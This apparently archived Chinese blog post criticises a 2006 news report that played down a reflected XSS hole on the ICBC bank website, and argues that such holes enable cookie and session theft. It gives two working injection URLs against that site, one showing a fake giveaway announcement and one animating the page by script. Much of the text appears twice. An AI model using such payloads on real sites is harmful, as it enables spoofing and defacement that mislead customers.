关于工行的XSS漏洞
这两天很流行玩这个：
http://www.icbc.com.cn/news/hotspot.jsp?column=%3Cfont%20size=10%3E%BD%F7%B4%CB%D4%AA%B5%A9%BC%D1%BD%DA%D6%AE%BC%CA%A3%AC%B9%A4%C9%CC%D2%F8%D0%D0%B8%F8%C3%BF%B8%F6%B4%A2%BB%A7%C3%E2%B7%D1%B7%A2%B7%C51000%CD%F2%C3%C0%BD%F0%3C/font%3E
会出来：
![]()
还有更好玩的：
http://www.icbc.com.cn/news/hotspot.jsp?column=%3Cscript%3ER%3D0%3B%20x1%3D.1%3B%20y1%3D.05%3B%20x2%3D.25%3B%20y2%3D.24%3B%20x3%3D1.6%3B%20y3%3D.24%3B%20x4%3D300%3B%20y4%3D200%3B%20x5%3D300%3B%20y5%3D200%3B%20DI%3Ddocument.body.getElementsByTagName%28%27table%27%29%3B%20DIL%3DDI.length%3B%20function%20A%28%29%7Bfor%28i%3DDIL-1%3Bi%3E-1%3Bi--%29%7BDIS%3DDI%5B%20i%20%5D.style%3B%20DIS.position%3D%27absolute%27%3B%20DIS.left%3DMath.sin%28R*x1-%28-%28i*x2-%28-%28x3%29%29%29%29%29*x4-%28-%28x5%29%29%3B%20DIS.top%3DMath.cos%28R*y1-i*y2-y3%29*y4-%28-%28y5%29%29%7DR--%7Dwindow.onload%20%3D%20function%20%28%29%20%7BsetInterval%28%27A%28%29%27%2C5%29%3Bdocument.title%3D%27FBI%27%7D%3C/script%3E
整个页面都可以出来动画效果
![]()
这还不够好玩？还有更更好玩的：
http://www.donews.com/Content/200612/92ac3138ade9406c81d72a057a995f5e.shtm
DoNews（北京）12月31日消息（记者 徐新事）近日网上盛传中国工商银行网站被黑客攻击，网友在IM和论坛里传播“ 中国工商银行宣布破产 ”、“ 中国工商银行转让80%给**网站 ”等伪造的信息。此类恶搞信息造成网友认知混乱，认为中国工商银行网上银行不可靠，发起对网络银行安全性质疑。记者就此事采访资深网络专家 龙如俊 先生。龙如俊认为这只是常见的跨站式Xss处理不当造成，谈不上攻击，对工行网银安全不存在威胁。
XSS漏洞根本就不是“HTML没有明确区分代码和数据”带来的问题，而是“程序员没有明确区分代码和数据”带来的问题。各大网站不但都遇到过这样的问题，很多网站也在这上面栽过大跟斗吃过大亏。网络安全无小事，大家用龙如俊专家这样的态度来处理问题，黑客们就有福了。
此外“跨站式Xss”本身也是个很外行的说法。XSS是Cross-Site-Script的缩写（跨站脚本），第一个单词Cross有“交叉”的意思，缩写的时候就用一个大大的“叉”来缩写。所以XSS就是跨站脚本，哪里还有什么“跨站式的跨站脚本”？
发出这篇文章之后，很惊讶的发现龙如俊的博客链接就在文章里面： http://longrujun.name/default.html
从博客上看，龙如俊真称得上是“往来无白丁”了。他的好友里面赫然有：刘韧、蒋涛、曾登高这样一些如雷贯耳的名字，想必他本人也不是泛泛之辈。看看他对此事的原始评论把：
http://longrujun.name/blogs/longrujun/archive/2006/12/31/_E88DD97A1A812C6708FF_XSS_09FF0F6F1E6DEE959898F25DCF7E0D4E2F66EE959898_.aspx
从原文看来，龙大师比记者所转述的还是要内行的多的：
典型攻击：涉及 XSS 的典型攻击通常都需要称为 “social engineering （社会工程） ” 的什么东西。意味着说服某人点击您所创建的某一链接，该链接包含指向某一 Web 站点的提交功 能，该站点具有 XSS 漏洞，该链接通过该漏洞提交 JavaScript 代码。提交的 JavaScript 代码通常会从用户的浏览器窃取会话 cookie ， 并将它们提交给攻击者的某一 Web 站点。攻击者然后可以使用这些会话来冒充受攻击用户，且无需密码。尽管策动这种攻击比较困难，但攻击者却可以很好地文档 化和理解它，因此必须谨慎地加以避免。
这段话虽然有点含糊其辞（“social engineering（社会工程）”的什么东西是什么东西？），但是观点基本是明确的（“尽管策动这种攻击比较困难”这句又很让人怀疑他的根本观点是什么）。但是话从徐新事大记者嘴巴里面出来就变成了：
龙如俊认为这只是常见的跨站式Xss处理不当造成，谈不上攻击，对工行网银安全不存在威胁。
一开始以为是徐大记者自作主张强奸了龙如俊的愿意，看了看龙如俊的其他文章，他本人曾经担任过（或者仍然担任着）DoNews技术顾问，而且他和徐记者也不是头一回合作了，看来还很乐意被徐记者采访（还是强奸？）并在自己的博客里面转徐记者的新闻稿。而且龙的标题也是很容易引起误会的：《跨站脚本（XSS）漏洞问题已经不是问题》，既可以理解为技术上规避此漏洞不难的意思，也可以理解为这个漏洞不会造成安全威胁的意思。这样他们两个谁在臭嘴巴就无从考证了。
XSS漏洞其实是十分危险，很成问题，很容易被恶意利用的。如果没有验证码或者重新输入密码验证的限制，一个在线邮箱系统的一出现XSS漏洞可以很容易利用来盗取用户个人资料、修改密码；如果没有IP限制，就可以被利用来窃取session，伪造登录状态。轻则破坏用户数据，重则盗取邮件中的商业、隐私、财务资料，后果不堪设想。在论坛、博客等系统中一样的可以用来进行身份冒充、恶意消费和数据破坏。现在这样一个漏洞出现在一个银行的官方网站上，而且数天时间没有得到积极响应（咨询了工行的朋友，得到的惟一答复就是龙如俊的文章）和处理，让人怎么不怀疑这个银行的开发人员的水平和责任心？这样的人有能力保护好自己客户的资料和钱吗？
http://www.icbc.com.cn/news/hotspot.jsp?column=%3Cfont%20size=10%3E%BD%F7%B4%CB%D4%AA%B5%A9%BC%D1%BD%DA%D6%AE%BC%CA%A3%AC%B9%A4%C9%CC%D2%F8%D0%D0%B8%F8%C3%BF%B8%F6%B4%A2%BB%A7%C3%E2%B7%D1%B7%A2%B7%C51000%CD%F2%C3%C0%BD%F0%3C/font%3E
会出来：
还有更好玩的：
http://www.icbc.com.cn/news/hotspot.jsp?column=%3Cscript%3ER%3D0%3B%20x1%3D.1%3B%20y1%3D.05%3B%20x2%3D.25%3B%20y2%3D.24%3B%20x3%3D1.6%3B%20y3%3D.24%3B%20x4%3D300%3B%20y4%3D200%3B%20x5%3D300%3B%20y5%3D200%3B%20DI%3Ddocument.body.getElementsByTagName%28%27table%27%29%3B%20DIL%3DDI.length%3B%20function%20A%28%29%7Bfor%28i%3DDIL-1%3Bi%3E-1%3Bi--%29%7BDIS%3DDI%5B%20i%20%5D.style%3B%20DIS.position%3D%27absolute%27%3B%20DIS.left%3DMath.sin%28R*x1-%28-%28i*x2-%28-%28x3%29%29%29%29%29*x4-%28-%28x5%29%29%3B%20DIS.top%3DMath.cos%28R*y1-i*y2-y3%29*y4-%28-%28y5%29%29%7DR--%7Dwindow.onload%20%3D%20function%20%28%29%20%7BsetInterval%28%27A%28%29%27%2C5%29%3Bdocument.title%3D%27FBI%27%7D%3C/script%3E
整个页面都可以出来动画效果
这还不够好玩？还有更更好玩的：
http://www.donews.com/Content/200612/92ac3138ade9406c81d72a057a995f5e.shtm
DoNews（北京）12月31日消息（记者 徐新事）近日网上盛传中国工商银行网站被黑客攻击，网友在IM和论坛里传播“ 中国工商银行宣布破产 ”、“ 中国工商银行转让80%给**网站 ”等伪造的信息。此类恶搞信息造成网友认知混乱，认为中国工商银行网上银行不可靠，发起对网络银行安全性质疑。记者就此事采访资深网络专家 龙如俊 先生。龙如俊认为这只是常见的跨站式Xss处理不当造成，谈不上攻击，对工行网银安全不存在威胁。
龙如俊介绍到，几种常见Web站点不安全的编程漏洞包括密码漏洞、跨站脚本漏洞、不安全的存储漏洞和拒绝服务漏洞。此次中国工商银行网站的漏洞就是跨站脚本漏洞，实际上就是脚本人员对跨站式Xss处理不当。网友利用该漏洞，编辑特殊代码后得到网上传播的链接，但是对正常的网银交易不会产生任何影响。
龙如俊称跨站式Xss处理不当是常见的Bug，就是微软、雅虎、亚马逊等公司都出现过此类问题，也都难以避免这种现象。如Yahoo! Mail中采取了积极的防预措施来预防XSS。特别是其邮件站点在适当的上下文中将"javascript”转换成了"_javascript”，以阻止代码的执行。他说：“这并非重大故障，更谈不上是攻击，对工行网银安全不会存在任何威胁。”
至于为何出现该跨站式Xss漏洞，龙如俊称主要有两个原因。首先，HTML没有明确区分代码和数据；其次，程序在将用户数据发送回浏览器时没有进行有效的转义，这导致包含有引号的数据被放入页面中。
“当前流行的Ajax技术对预防跨站式Xss漏洞方面有一定好处，”龙如俊说：“Ajax技术包含一个专用渠道XML链接，其中全是数据而没有代码。这样，就有可能让客户端AJAX引擎负责对字符串进行转义、检测不正确的值。”
但龙如俊表示直到AJAX更为成熟或更为标准化，否则只会导致错误的编程和安全漏洞，毕竟Ajax技术只是web2.0中涌出新型技术还不够成熟。（完）
XSS漏洞根本就不是“HTML没有明确区分代码和数据”带来的问题，而是“程序员没有明确区分代码和数据”带来的问题。各大网站不但都遇到过这样的问题，很多网站也在这上面栽过大跟斗吃过大亏。网络安全无小事，大家用龙如俊专家这样的态度来处理问题，黑客们就有福了。
此外“跨站式Xss”本身也是个很外行的说法。XSS是Cross-Site-Script的缩写（跨站脚本），第一个单词Cross有“交叉”的意思，缩写的时候就用一个大大的“叉”来缩写。所以XSS就是跨站脚本，哪里还有什么“跨站式的跨站脚本”？
发出这篇文章之后，很惊讶的发现龙如俊的博客链接就在文章里面： http://longrujun.name/default.html
从博客上看，龙如俊真称得上是“往来无白丁”了。他的好友里面赫然有：刘韧、蒋涛、曾登高这样一些如雷贯耳的名字，想必他本人也不是泛泛之辈。看看他对此事的原始评论把：
http://longrujun.name/blogs/longrujun/archive/2006/12/31/_E88DD97A1A812C6708FF_XSS_09FF0F6F1E6DEE959898F25DCF7E0D4E2F66EE959898_.aspx
从原文看来，龙大师比记者所转述的还是要内行的多的：
典型攻击：涉及 XSS 的典型攻击通常都需要称为 “social engineering （社会工程） ” 的什么东西。意味着说服某人点击您所创建的某一链接，该链接包含指向某一 Web 站点的提交功 能，该站点具有 XSS 漏洞，该链接通过该漏洞提交 JavaScript 代码。提交的 JavaScript 代码通常会从用户的浏览器窃取会话 cookie ， 并将它们提交给攻击者的某一 Web 站点。攻击者然后可以使用这些会话来冒充受攻击用户，且无需密码。尽管策动这种攻击比较困难，但攻击者却可以很好地文档 化和理解它，因此必须谨慎地加以避免。
这段话虽然有点含糊其辞（“social engineering（社会工程）”的什么东西是什么东西？），但是观点基本是明确的（“尽管策动这种攻击比较困难”这句又很让人怀疑他的根本观点是什么）。但是话从徐新事大记者嘴巴里面出来就变成了：
龙如俊认为这只是常见的跨站式Xss处理不当造成，谈不上攻击，对工行网银安全不存在威胁。
一开始以为是徐大记者自作主张强奸了龙如俊的愿意，看了看龙如俊的其他文章，他本人曾经担任过（或者仍然担任着）DoNews技术顾问，而且他和徐记者也不是头一回合作了，看来还很乐意被徐记者采访（还是强奸？）并在自己的博客里面转徐记者的新闻稿。而且龙的标题也是很容易引起误会的：《跨站脚本（XSS）漏洞问题已经不是问题》，既可以理解为技术上规避此漏洞不难的意思，也可以理解为这个漏洞不会造成安全威胁的意思。这样他们两个谁在臭嘴巴就无从考证了。
XSS漏洞其实是十分危险，很成问题，很容易被恶意利用的。如果没有验证码或者重新输入密码验证的限制，一个在线邮箱系统的一出现XSS漏洞可以很容易利用来盗取用户个人资料、修改密码；如果没有IP限制，就可以被利用来窃取session，伪造登录状态。轻则破坏用户数据，重则盗取邮件中的商业、隐私、财务资料，后果不堪设想。在论坛、博客等系统中一样的可以用来进行身份冒充、恶意消费和数据破坏。现在这样一个漏洞出现在一个银行的官方网站上，而且数天时间没有得到积极响应（咨询了工行的朋友，得到的惟一答复就是龙如俊的文章）和处理，让人怎么不怀疑这个银行的开发人员的水平和责任心？这样的人有能力保护好自己客户的资料和钱吗？